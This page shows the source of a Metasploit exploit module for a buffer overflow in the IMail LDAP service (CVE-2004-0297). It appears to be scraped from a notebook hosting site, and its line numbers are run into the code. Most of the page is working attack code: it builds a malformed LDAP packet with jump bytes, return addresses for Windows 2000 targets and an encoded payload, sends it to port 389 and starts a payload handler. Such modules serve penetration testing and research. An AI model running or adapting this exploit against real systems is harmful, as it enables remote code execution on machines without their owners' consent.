Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ldap/imail_thc.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'IMail LDAP Service Buffer Overflow',13'Description' => %q{14This exploits a buffer overflow in the LDAP service that is15part of the IMail product. This module was tested against16version 7.10 and 8.5, both running on Windows 2000.17},18'Author' => [ 'hdm' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2004-0297'],23[ 'OSVDB', '3984'],24[ 'BID', '9682'],25[ 'URL', 'http://web.archive.org/web/20060110155821/http://secunia.com:80/advisories/10880/'],26],27'Privileged' => false,28'Payload' =>29{30'Space' => 1024,31'BadChars' => "\x00\x0a\x0d\x20",32},33'Platform' => 'win',34'Targets' =>35[36["Windows 2000 English", { 'Ret' => 0x75023386 }],37["Windows 2000 IMail 8.x", { 'Ret' => 0x1002a619 }],38],39'DisclosureDate' => '2004-02-17',40'DefaultTarget' => 0))4142register_options(43[44Opt::RPORT(389)45])46end4748def exploit49connect5051buf = "\x30\x82\x0a\x3d\x02\x01\x01\x60\x82\x01\x36\x02\xff\xff\xff\xff\x20"52buf << "\xcc" * 50005354# Universal exploit, targets 6.x, 7.x, and 8.x at once ;)55# Thanks for johnny cyberpunk for 6/7 vs 8 diffs5657buf[77, 4] = "\xeb\x06"58buf[81, 4] = [target.ret].pack('V') # 6.x, 7.x59buf[85, 4] = "\xeb\x06"60buf[89, 4] = [target.ret].pack('V') # 8.x61buf[93, payload.encoded.length] = payload.encoded6263sock.put(buf)6465handler66disconnect67end68end697071